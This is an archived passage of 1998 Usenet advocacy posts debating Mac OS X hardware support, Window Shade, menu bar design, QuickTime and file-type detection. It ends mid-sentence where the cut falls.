> There is only L2 cache, and that is contained on the CPU module.
> PowerLogix and some other companies sell a CPU module for the PowerMac G3s
> to replace both the processor and cache with a faster/bigger version. I
> think there are 300MHz 1MB 1:1 CPU modules available.
That's correct--today.
These companies are pretty good at using the faster processors soon after
they come out. You can expect 333 and 366 MHz versions soon.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 11:53:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2807981153280001@0.0.0.0>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <35BDEEED.DF7F517E@earthlink.net>
In article <35BDEEED.DF7F517E@earthlink.net>, jontemple@earthlink.net wrote:
> Joe Ragosta wrote:
>
> > In article <Josh.McKee-2607981711240001@pm3a17.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> >
> > > In article <joe.ragosta-2607980812040001@elk85.dol.net>,
> > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > >
> > >
> > >
> > > > With Win98, there are reports that you're better off buying a new
machine
> > > > with Win98 preinstalled rather than trying to upgrade. There were
no great
> > > > howls of protest when Microsoft made a statement to that effect.
> > >
> > >
> > > I believe that I can run Windows 98 on a 386sx if I so desired.
> > >
> > > It is very strange Joe, Mac advocates have been championing Apples great
> > > backward compatibility as a big feature. Now we're being told it doesn't
> > > count for anything?
> >
> > I wouldn't say it doesn't mean anything. It would be very, very nice if I
> > could run Rhapsody on my old IIsi. But it's not going to happen and there
> > are other factors I consider more important.
> >
> > My point was that both Apple and Microsoft have to obsolete old machines
> > at some point.
>
>
>
> A truly weak point since Apple has elected to obsolete machines less than 2
> months old (9600/350). Even if MacOS X does ship on time, obsoleting a
machine
> less than 2 years old is horrendous.
Just as Microsoft and Intel will be obsoleting old machines months after
they ship.
>
> It USED to be that Apple waited 10 years before obsoleting a machine;
now they do
> it as soon as they shove it out the door.
If it were a trend, I'd be worried. But sometimes you need to make a clean
break with the past. I'd rather deal with a single discontinuity than
another Copland fiasco.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 15:24:47 GMT
Organization: none
Message-ID: <6pkqfv$bt3$9@server.signat.org>
References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu>
<6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net>
<6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net>
<35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net>
<35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net>
<35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com>
<35c2d68f.109269484@198.0.0.100> <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net>
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Cc: sal@panix.com
In <6pjb02$1jb@news1.panix.com> Sal Denaro wrote:
> On 27 Jul 1998 19:52:03 GMT, Maury Markowitz <maury@remove_this.istar.ca>
wrote:
> > Uhhh, it was? I'm pretty sure it was built to run on PC-like machines
with
> >a PPC, being sold primarily from Motorola (which I have used). I don't
> >believe it runs on the RS/6000. You sure about this?
>
> NT ran on PPC machines from IBM and Firepower (built from Motorola parts)
> that were sold as high end NT workstations.
But these were not the RS/6000 series were they? I've not seen that
before.
> They were very competitive with NT on Intel at first. IIRC, Firepowers
> 604 based box offered 50% better CPU
> performace and much better overall IO then the P5 based machines of the
time.
> The price was within 10% of a Dell or Gateway system.
>
> The only thing it lacked was a native copy of Office.
And any realy support from the companies selling them. The guy's at the
Moto booth in London were mad a hell at their own company for "refusing to
sell the things" (direct quote).
Maury
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org> <6p85r5$h40$1@nnrp1.dejanews.com> <35BDF088.8AE8204@earthlink.net>
Message-ID: <35bdfb5a.0@news.depaul.edu>
Date: 28 Jul 98 16:24:58 GMT
In comp.sys.next.advocacy Jon G. Temple <jontemple@earthlink.net> wrote:
> PCI Macs are presently supported by Rhapsody,
How well? Smoothly enough for it to be a volume OS?
There's "support" and then there's "support".
> and the jump to the unsupported Mac OS X will be pretty pitifully
> small as jumps go.
And you would know this because...
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 11:29:32 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728110556.17041H-100000@ux8.cso.uiuc.edu>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <6pjkir$6jb$1@bunyip.cc.uq.edu.au>
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On Tue, 28 Jul 1998, Christopher Smith wrote:
>
> Pulsar <tokarek@uiuc.edu> wrote in message
> Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu...
> >On Tue, 28 Jul 1998, Christopher Smith wrote:
> >
<snip>
> >NeXT had a solution to this kind of thing that sounds almost exactly like
> >what you propose. There was the normal menu in a separate window that the
> >user normally places on the top left, and when the user did a right-click,
> >the contents of that menu were immediately available underneath the
> >pointer.It was a pseudo-context sensitive menu in that it wasn't context
> >sensitive, but behaves in the same way otherwise.
>
> From what I remember of using a NeXT box (sorry if I'm not quite correct,
> it's been a while :) the menu stayed present on the screen even after you
> released the RMB - that would be very annoying. The menu.toolbar "block"
> should only be visible while the third MB is held down. Alternatively,
> click once on the third MB to make the menu/toolbar appear, then whenever
> the mouse moves away from the "block" it disappears again (like autohide on
> the taskbar).
I don't quite remember the NeXT behavior either.
Here is what I think it should do (pay attention to the indentation):
Have the menu sit where ever the user puts it (say at the top left
corner).
Right click
Bring up a copy of the root menu under the pointer
maneuver through menu heirarchy until you select something
menu goes away so you're left only with the original top-left menu
click outside the menu and it is dismissed
continue working as normal
Note that clicking outside the menu should not be interpreted as a command
to do something unless you click somewhere and hold or drag. A single
click should just dismiss the menu.
> >I would add:
> >
> >4) Provide some obvious indication of the foreground application.
>
> The button is pushed in and a different colour - what more do you want ? :)
> Admittedly I have noticed times when a program leaps to the foreground and
> the taskbar does not change appropriately, but it's rare.
You're right. It's been months since I've been at a Windows machine. I
have noticed that it gets confused sometimes though. I've never been able
to figure out why.
Also there's no indication that a window is minimized. There is just the
button with no corresponing visible window.
> >5) Do something else when there are too many buttons to fit nicely on the
> >bar. Just truncating the name is bad.
>
> If you fill the taskbar, the buttons shrink until only the icon is visible,
> then a scrollbar appears at the right-hand end to let you scroll down.
I don't like that. I'd prefer something better, but I can't think what off
hand.
> Personally I'd like to the see the buttons have a fixed minimum size (6
> buttons across a 1152x864 screen seems to be a nice size on my system) and
> the scrollbar appearing much quicker.
>
> >> I wrote a whole post a few months back on how I'd like to see "mountable"
> >> devices implemented, and I was surprised you didn't reply to it :). I'd
> >> appreciate it if you could dig it up in Dejanews (or email me and I'll
> >> send it back) and tell me what you think.
> >
> >Hmm... I think I just missed that. Sorry. I'll poke through Dejanews
> >though and comment on it. Perhaps it is a good solution to this issue on
> >the Mac.
>
> Well I think it's pretty good :P.
I found it. It is an interesting idea except I have a couple problems with
it.
I don't like the idea of having to go through an extra "folder" like thing
to get to my drives. I do not like the "My Computer" way of grouping
drives as in Windows. Perhaps a partition of the desktop could be set
aside by the user for drives and inside this, the devices (unmounted and
mounted) could sit. I don't want it to be so blatant as a full window, but
it would be good to provide some separation with the rest of the desktop.
I dunno. I will think about it.
Network volumes seems to me to be a big potential issue. I like neither
the Windows Network Neighborhood nor the Mac Chooser (though Network
Neighborhood is better in some ways).
Otherwise I think it is a great idea. Having the somewhat grayed out
unmounted partition with a mounted partition is great. This solves on
issue on the Mac of having Zip drives that don't automatically inform the
OS that something has been inserted. (This is why the Mac OS needs a
driver... the driver periodically checks the drive to see if there's a
disk there and tells the OS if there is.)
I also like the idea of having the eject button be a signal to the OS to
unmount and eject it. I think that should have been used for removables
_long_ ago. (I just wish the Mac floppy drives had a button to do that.)
> >When the OS comes across an unknown file, it might present a list of
> >likely applications that could open it. This would stand a much higher
> >chance at choosing the correct application to open a file, and would make
> >the process much more transparent to the user.
> >
> >It won't entirely solve all the problems, but it could be better than what
> >we deal with now in Windows and the Mac OS.
>
> FWIW there seems to be a "new" way of identifying filetypes that comes with
> Office 97 (cum OS upgrade) - I've also heard people say it works with O95,
> but haven't had time to test it myself. If you take any Office 97 file and
> remove the extension, the file is still recognised as the correct type of
> Office file (ie you double-click on it and it opens in the right
> application). This is true even if you take the file to another machine, so
> it's not "cheating" by storing something in the registry. Apparently it has
> something to do with COM and the OS checking a "header" or "attribute" of
> the file "object" when it is double-clicked - sorry I can't tell you more
> but I just don't know enough about it. To me it sounds like the best way of
> identifying filetypes, and much like what you are proposing.
It does sound like an OLE kind of thing. (OLE, ActiveX, COM, DCOM, COM+,
and all the names Microsoft has for basically the same concept.)
I wonder how much bigger it makes files.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Window Shade: *please* make this go away
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 28 Jul 1998 16:20:30 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <6pktoe$qhd$1@walter.cs.umd.edu>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net>
NNTP-Posting-User: seanl
Kevin Stone (stone@stoneentertainment.com) wrote:
: MacOS also features what they call "window shade". Double clicking the
: title bar of any window minimizes it to the title bar allowing you to
: display litteraly hundreds of windows in perfect view right on the desktop.
: Since the title bar still exists, these minimized windows feature all of
: the functionality of a full fledged window becuase the close, collapse, and
: maximize buttons are still present.
After a reasonable review, I've concluded that Window Shade is the most
ill-conceived GUI element for Apple to adopt in the last decade. I love
the Mac, but I find it disturbing that this feature even *has* supporters.
The basic function of window minaturization is to allow access to and
manipulation of a large number of windows (e.g., documents). The
important part to consider in designing a miniaturization strategy is not
how to easily *miniaturize* (that's trivial) but how to easily manipulate
minaturized elements and *unminiaturize*. Here Window Shade trips over
its own feet.
You're working in some word processor. You've spent quite some time
WindowShading a whole bunch of documents. In this application (and in
every single multi-document application I can think of except the Finder)
these WindowShaded docments started out stacked on top of each other, with
their title bars overlapping. WindowShading them results in a giant stack
of title bars; only the top one is accessible. You want the bottom one?
Tough.
A few Mac applications (and this is especially true in NeXTSTEP/Rhapsody)
stagger their newly-opened documents spatially; in this case,
WindowShading would result in a large collection of staggered title bars.
Usually the first thing a user does when getting a staggered window is to
maximize it to take advantage of screen real estate, immediately
obliviating the usefulness of staggering for a WindowShade approach (it's
still useful for opening many documents at the same time, of course). At
any rate, you've still got the evil issue of main and miniaturized windows
competing for the same general document space in the center of the screen,
making it quite hard to find the document you want. This is made even
nastier given the Mac's ancient, broken window handling schemes (all
windows are in the same tier, tied to the application, and there's no
distinction between key and main windows -- NeXTSTEP people know what I'm
talking about here) which mean that selecting a WindowShaded window cause
*all* the WindowShaded windows for that application to jump up to the
front.
And of course, the obvious: WindowShaded title bars are huge, taking up
far more space than even NeXTSTEP icons. This is miniaturization?
What other option do you have? Well, NeXTSTEP (and most X window
managers) miniaturize windows to small icons in the bottom of the screen.
These icons do not have an application tier. Windows does something
similar, but puts them into a bar (actually, not a bad idea: geez, I can't
believe I'm saying something nice about the company that makes you press
control-alt-delete in NT in order to *log*in*). At any rate, the key
features here are:
- miniaturized windows are automatically spatially differentiated
from each other, so they can be picked easily
- miniaturized windows are differentiated from the main windows,
and placed out in the periphery
As I recall, this was a shareware feature that Apple really liked and
moved into the general OS. How they could have mangled this one so badly
is beyond me. It's a rare situation when I have to say that Apple's
solution is worse than *everyone* else. NT, Linux, NeXTSTEP, Be. Ouch.
Sean Luke
seanl@cs.umd.edu
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 11:25:51 -0500
Organization: Ericsson North America Inc.
Message-ID: <35BDFB8F.FF6841C8@ericsson.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net>
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Richard Frith-Macdonald wrote:
> Ah - sorry - I wasn't too clear there -
> I consider the menu-bar part of the menu system (ie it's a menu itsself).
> It's already inconsistent with the other menus in that it's horizontal while
> the other menus are vertical, it's also inconsistent in that it assumes that
> everything in it is a sub-menu, while submenus make no such assumption.
> In fact, the menu-bar is so very inconsistent with the rest of the menu system
> that my meaning wasn't clear - presumably you don't consider it a menu?
That's right, and that's why MacOS users don't consider it inconsistent.
It's a totally separate widget, from user-level to low-level code. It's
impossible to escape the fact, in MacOS, that the menubar is a totally
unique widget. Every widget set I've ever seen, on the MacOS or
otherwise, with the exception of NeXTstep, treats the menubar as a
unique widget.
There are useful and unique advantages to doing this. And besides, I
find it desirable in the extreme by comparison to the NeXTstep way of
doing this. By convention and by habit, top-level menu items are
royalty. There's something about the fact that they are descriptive of
categories that directly relate to the app; it doesn't seem appropriate
to list menus as if they just happened to be the top-level items in a
hierarchy. Things become too vague; there's too much room for me to say
"My app is a database. I don't need no stinking File menu. My hierarchy
will start with Edit and View, because that's what my app does."
The hierarchy is a wonderful mechanism but it's not sufficient for
bridging the gap between taxonomy and intuition. That's why hierarchy is
tempered by the presence of a wide, readable menu of commands that sits
snugly against the top of the screen or the top of the window. This is
the starting point. Even NeXTstep doesn't hold the hierarchy sacred:
there are plenty of standard top-level items in a menu cluster that
don't necessarily belong in every app, and thus are inconsistent with
the whole hierarchy.
Let me just give an example: why do books often start with an
introductory chapter, perhaps a preface, even a prologue? Why do they
end with appendices and epilogues? Why are they broken up with
interludes or "Book Two" headings? Wouldn't it be most consistent simply
to present the reader with chapter 1, chapter 2, chapter 3, ..., chapter
N? Of course, in a certain purist's sense, it would. But the art of
writing a book requires a bit more sensitivity than that. Computer
graphics user interfaces aren't any different.
I used to like LaTeX, but nowadays I cringe every time I read a TeX
document. Who ever imagined that you could keep a reader interested with
a sickenly machine-like document ordering system of layout and
presentation? What really gets me is the way that, for the sake of
consistency, all sections are *numbered*, they're never lettered or
given Roman numerals. And because font usage is purposely restricted for
the sake of LaTeX's precious mathematical formula layout, almost all
LaTeX document look exactly the same. Thousands of years of cuneiform,
hieroglyphics, calligraphy, cursive, illumination, and other advanced
artistic forms of writing swept away in a moment for the sake of elusive
"consistency". Doesn't it strike you as slightly ironic?
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 09:37:14 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2807980937140001@dante.eng.uci.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <Pine.SOL.3.96.980722114004.22438H-100000@ux8.cso.uiuc.edu> <anewmanagn-2407982316290001@a4p22.ideasign.com> <Pine.SOL.3.96.980726001949.7987E-100000@ux7.cso.uiuc.edu> <6pg1bb$5vr@news1.panix.com> <rmcassid-2707980932050001@dante.eng.uci.edu> <6pjb06$1jb@news1.panix.com>
In article <6pjb06$1jb@news1.panix.com>, sal@panix.com wrote:
>On Mon, 27 Jul 1998 09:32:05 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>>In article <6pg1bb$5vr@news1.panix.com>, sal@panix.com wrote:
>>>Could Apple _build_ 3 or 4 million iMacs? I doubt it. The real benifit of
>>In a _year_?
>
>Not just any year, this year.
Sure, this year.
>>You bet. Aug 15 1998 to Aug 15 1999, Apple _could_ build 4
>>million iMacs. Keep in mind that Apple used to build about a million Macs
>>per quarter back when they had 20+ models, horrible prediction models, and
>>terrible ordering and inventory systems.
>
>Apple is _still_ having inventory problems. How long did you have to wait
>for your g3 powerbook? From what I've heard, Apple has been unable to build
>enough g3s to meet demand.
Still waiting. <sniff> <tear sheds> :-)
Apparently the _entire_ problem centers around the 14" screen right now.
Apple seems to have no problems getting the 13" and 12" screens at any
speed out in a fairly reasonable time frame.
It's a pretty classic Apple manufacturing blunder, actually. They have
everything they need but are dependent on one vendor getting their parts
through and it is exactly there that the crisis starts.
The iMac appears to be a bit different. Most of the parts seem to have
multiple sources and components like the CPU card will be identical or
nearly so to the Powerbooks and I presume desktop lines in the next revs.
The screen is actually my biggest concerns as it seems a bit unique. So I
don't see the iMac as being as likely to have these kinds of problems. But
a valid point still.
>>With a very simple computer, no variation, and (hopefully) multiple
> ^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^ ^^^^^^^^
>>sources of parts, they can just crank them out full-speed. If the demand
> ^^^^^^^^^^^^^^^^
>>is there, I'd expect they can ramp up production to meet it. I think
>>creating the demand for that many will be harder.
>
>Ok, you have a solid point. Maybe Apple has been working to get production
>up in anticipation of the iMac. Maybe g3s were held back by this.
I really think they were, at least once it was clear that PB production
issues were in part out of their hands. If you have to wait on 14" screens
anyway, you might as well work on something else in the meantime.
>>>If Apple sells more then 2.5 million in the first year, I'll dress up like
>>>an iMac for next Holloween.
>>I assume you'll put a picture up for all to see...
>
>I think I'll have to after making this boast...
>
>I am working off the assumption that the iMac will account for 50% of Apple's
>volume, and that existing g3 demand will drop by 25%. Existing g3 line sales
>might drop from 650k unit to 480k units and the iMac might account for 480k
>units. That would be under 4 million Macs, with a little under 2 million being
>iMacs. This is just my gut estimate, I don't own a crystal ball... :)
That sounds just about right to me too. And a number of others I've talked
to are thinking along the same lines. I keep thinking about the
surprisingly large number of AIOs that were sold and how they must have
had to come from Apple winning largish k-12 and higher ed bids. Because
Apple has a whole year to flesh out the iMac line, I think you will see a
*big* move by Apple next summer to get iMacs in an many schools as
possible in large numbers. So I think that the demand will increase at
that time.
-Bob Cassidy
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 16:51:12 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pkvi0$ffe$1@lwnws01.ne.highway1.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <35BDFB8F.FF6841C8@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> I used to like LaTeX, but nowadays I cringe every time I read a TeX
> document. Who ever imagined that you could keep a reader interested with
> a sickenly machine-like document ordering system of layout and
> presentation? What really gets me is the way that, for the sake of
> consistency, all sections are *numbered*, they're never lettered or
> given Roman numerals. And because font usage is purposely restricted for
> the sake of LaTeX's precious mathematical formula layout, almost all
> LaTeX document look exactly the same. Thousands of years of cuneiform,
> hieroglyphics, calligraphy, cursive, illumination, and other advanced
> artistic forms of writing swept away in a moment for the sake of elusive
> "consistency". Doesn't it strike you as slightly ironic?
Although I don't agree to extent, I do agree with the spirit of what you're
getting at here. Consistency is not a good above all others. Sometimes it
makes great sense to be inconsistent, no doubt. The consistency, or lack of
it associated with the mac pinstripe, isn't my particular beef with it. The
shortcommings I find with it relate to it's wasteful use of screen space (to
a lesser degree), and it's inflexibility in being moved about the screen and
reoriented when a task warrents such action. However, I also like, in this
case, the way NeXT menu's act like button palletes in a window (even if I
might prefer it's orientation to be rotated to a horizontal layout at times).
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Nathan Hughes" <nhughes@sunflower.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
Date: Tue, 28 Jul 1998 11:53:57 -0500
Organization: University of Kansas Computing Services
Message-ID: <6pkvnt$to4$1@news.cc.ukans.edu>
References: <6pd5ou$p7t@newsb.netnews.att.com> <35c0bc2f.102516765@198.0.0.100> <6ph7vq$gpe$1@morgoth.sfu.ca> <35bda941.163206843@198.0.0.100> <6pie25$96h$1@morgoth.sfu.ca>
<a>
>So if QuickTime is an "also-ran", then what do you call its cheap
>knock-off AVI? I'll go out on a limb and also say that QuickTime can
AVI is a file extension.
>be used as an extensible image/audio/video import library, would you
>consider that to be useful?
No. I can handle all the image, video and sound functions I need without
QT.
I installed Premier 5 this morning, and got a pleasant surprise. Premier 4
installed QT by default without giving you an option. Then after you delete
QT, Premier would always give an error message saying that QT was not
installed. I'm happy to say that Premier 5 does not require QT
installation, and it no longer gives the error message.
>It clearly has an impact on your prediction that they would probably never
>have one. In fact QuickTime Conferencing (renamed QuickTime Streaming) was
OK, point me to the QT streaming content. Point me to the real time encoded
QT streaming content. Let me know if it ever happens.
<s>
>the owned, rather than used category. (To turn around an old phrase, why
>would so many people have it if it wasn't any good? ;)
I don't think too many PC users have QT on their system unless it was
installed by a content CD such as National Geographic. Very few PC users
actively use QT, since our native formats work so much better.
>This is like saying Netscape is useless because IE comes with Windows.
Netscape is useless because it doesn't work as well as IE.
>And don't try to tell me there isn't a lot of QuickTime content out there
>for people to peruse
Most of the content is going to Mpeg. Anyone foolish enough to download QT
files as content gets the jerky postage stamp sized content they deserve.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 10:22:45 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pl1v9$1d5$1@plo.sierra.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <alex-2707982019480001@castle.webis.net>
NNTP-Posting-Date: 28 Jul 1998 17:32:25 GMT
Alex Kac wrote in message ...
>I disagree. One of the things I hate about Windows is that under the SDI
>approach (Mac like), when you clost the last window, the program quits. I
>hate this. I like to have Netscape running without windows for hours at a
>time. The problem I have is that under Windows, if I'm working on a lot of
>projects, the Netscape window provides clutter. I don't want to minimize
>it since it still takes up a good portion of space on the task bar. So I
>close the window. But then when I do want to run it, I have to reload the
>app. Even on our PII-300 here, it takes way too long to open.
Then your problem is with Netscape, not with Windows. I can reload IE4 in
under 1 second on my PII-300. I would much rather have free memory put to
good use than waste it keeping apps open that aren't in use.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 10:06:43 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981006430001@news>
References: <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> One thing with the menu proposal I have at
>
> http://www.ews.uiuc.edu/~tokarek/rhapsody/
>
> is that the menus are floating windows that can sit anywhere on the
> screen(s).
But this doesn't solve the problem of having a large screen, does it? No
matter where you put it, you will still have to travel a long distance to
go to the menu and back again, whether it's the top-left corner or the
bottom-right corner. Yes, maybe you could move it closer for the
application you're working on, but maybe another application would require
a different location, and so on. One could argue (as I am) that any time
benefits of having it in a different location would be outweighed by the
time taken to move it each time. Also, not having the menu in a single,
consistent location would cause a delay in menu access, since the person
has to sort out exactly where the menu is onscreen, instead of just
instinctively flipping the mouse to the upper-left corner of the screen.
> GIF files are different from JPG files which are different from AIFF files
> or WAV files which are different from Word 97 documents. Right now, the
> way OSes determine the type of these files is to either look at the file
> name extension or look at the type/creator codes. The information for what
> kind of file it is is contained somewhere else though. It's contained in
> the structure of the file itself.
But a C++ program file is also a text file, which is also a Word file. So
every single time I open this same C++ file, your proposed system would
have to search through the file contents and determine what application
shou used to open it. And if I want to use BBEdit every time, your system
will either A) always open it as a C++ file, since that's the most obvious
file type, or B) always provide me with a menu of program choices, even
though I always want to use BBEdit to edit the file.
> When
> the user double clicks on a file, the OS would go through and test it
> against all the registered types that the installed apps support. For some
> things it will be immediately obvious while other things might be a more
> complicated process.
Do you realize how tedious this would be? How long this would take the OS
to do? For every single file that you open, it would have to check through
ALL the registered types that the installed apps support? So, even though I
have Application X that I use once every few months or so, installing it
means that EVERY file that I open will have to check its file structure
against the Application X file type, just to make sure it doesn't need to
be opened within that application. Well, it'd be a nice incentive for
people to install fewer applications on their system.
> This way, the name of the file doesn't define its type to the OS, and
> there is no set of type/creator codes that can erroneously define the file
> type to the OS.
Right. Instead, there is erroneous parsing which can lead to incorrect file
translation. The difference is, if the type/creator codes are incorrect,
you can fix them once and be done with it. But if my C++ file gets
incorrectly parsed, it will be incorrectly parsed EVERY SINGLE TIME I OPEN
IT, and there's NOTHING I can do about it! Maybe I could put a tag in the
program itself to mark what program I want to open it in...oops, now we're
back to type and creator codes. Or what about the same file that I have
opened five hundred times in the past? Does the operating system have to
check again EVERY TIME I open it to make sure that it hasn't suddely
changed to a .WAV format or something? It shouldn't have to. That's an
incredible waste of time.
> With this way, the OS would _know_ what kind of file it is
> through the contents of the file itself.
Yes, the OS would know what kind of file it is, once it checks...and then
it will promptly forget. Then, when you open it again, it will have to
check again. This is a tremendous waste of processor time. Why should it
have to check every time a file is opened?
Really, your proposal is for a more robust way to handle files of unknown
